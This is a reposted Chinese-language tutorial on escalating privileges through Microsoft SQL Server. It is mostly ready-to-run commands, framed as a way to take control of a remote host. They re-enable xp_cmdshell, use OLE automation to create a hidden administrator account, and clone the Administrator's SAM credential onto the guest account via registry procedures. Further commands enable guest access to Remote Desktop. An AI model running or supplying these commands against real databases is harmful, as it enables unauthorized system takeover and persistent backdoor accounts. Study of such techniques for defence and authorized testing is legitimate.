MSSQL提权
发布时间:2023-05-08 12:47:26 所属栏目:MsSql教程 来源:
导读:关于 “xp_cmdshell”
“存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在sqlServer中预先定义好的“sql语句集合”,说的更直白一些就是使用T-sq
“存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在sqlServer中预先定义好的“sql语句集合”,说的更直白一些就是使用T-sq
关于 “xp_cmdshell” “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在sqlServer中预先定义好的“sql语句集合”,说的更直白一些就是使用T-sql语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。 而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。 如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。 利用 xp_cmdshell 存储过程 EXEC master.dbo.xp_cmdshell 'ipconfig' xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。 开启xp_cmdshell exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure; 关闭xp_cmdshell exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell', 0;reconfigure 除了xp_cmdshell还有操作注册表的存储过程 xp_regaddmultistring xp_regdeletekey //删除键 xp_regdeletevalue //删除值 xp_regenumkeys xp_regenumvalues //返回多个值 xp_regread //读取键值 xp_regremovemultistring xp_regwrite //写入键值 控制服务的xp_servicecontrol等 开启telnet服务 execmaster..xp_servicecontrol 'start', 'tlntsvr' OLE相关存储过程添加账户 OLE 这系列的存储过程有 sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop 具体的使用方法如下。 1.1. 添加test账号; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123 123 /add' 注意:有关cmd.exe的物理路径要依据具体的操作系统来确定。 1.2. 将123账号添加到administrators超级管理组 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123/add' xp和2003系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add' xp_regread & xp_regwrite克隆账号 获取administrator账号的加密密码 xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F' 将刚刚获取的0x…开头的value值赋值给guest账号; xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x...... 使用guest账号登录远程桌面管理 注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况; 针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”。 MSsql存储过程利用小结 我们可以调用的存储过程小脚本有三类: 1. xp_cmdshell 2. OLE相关存储过程 3. xp_regread 与 xp_regwrite 存储过程利用方法 xp_cmdshell存储过程 与 OLE相关存储过程利用 由于xp_cmdshell 存储与OLE相关存储过程可以直接调系统层面的命令,故我们可以直接构造语句进行系统账号的添加,来实现对远程主机的入侵控制; xp_regread 与 xp_regwrite利用 利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。 但是同时注意,这种利用方法存在一定的局限性,具体局限性有以下几点: guest账户需要被启用; guest 账户需要在“Remote Desktop Users” 如果缺少了以上条件,guest账户都无法远程登录目标主机,有关于guest账户的启用与远程桌面用户组的添加语句罗列如下。 exec master..xp_cmdshell ‘net user guest /active:yes’ exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add' (编辑:汽车网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐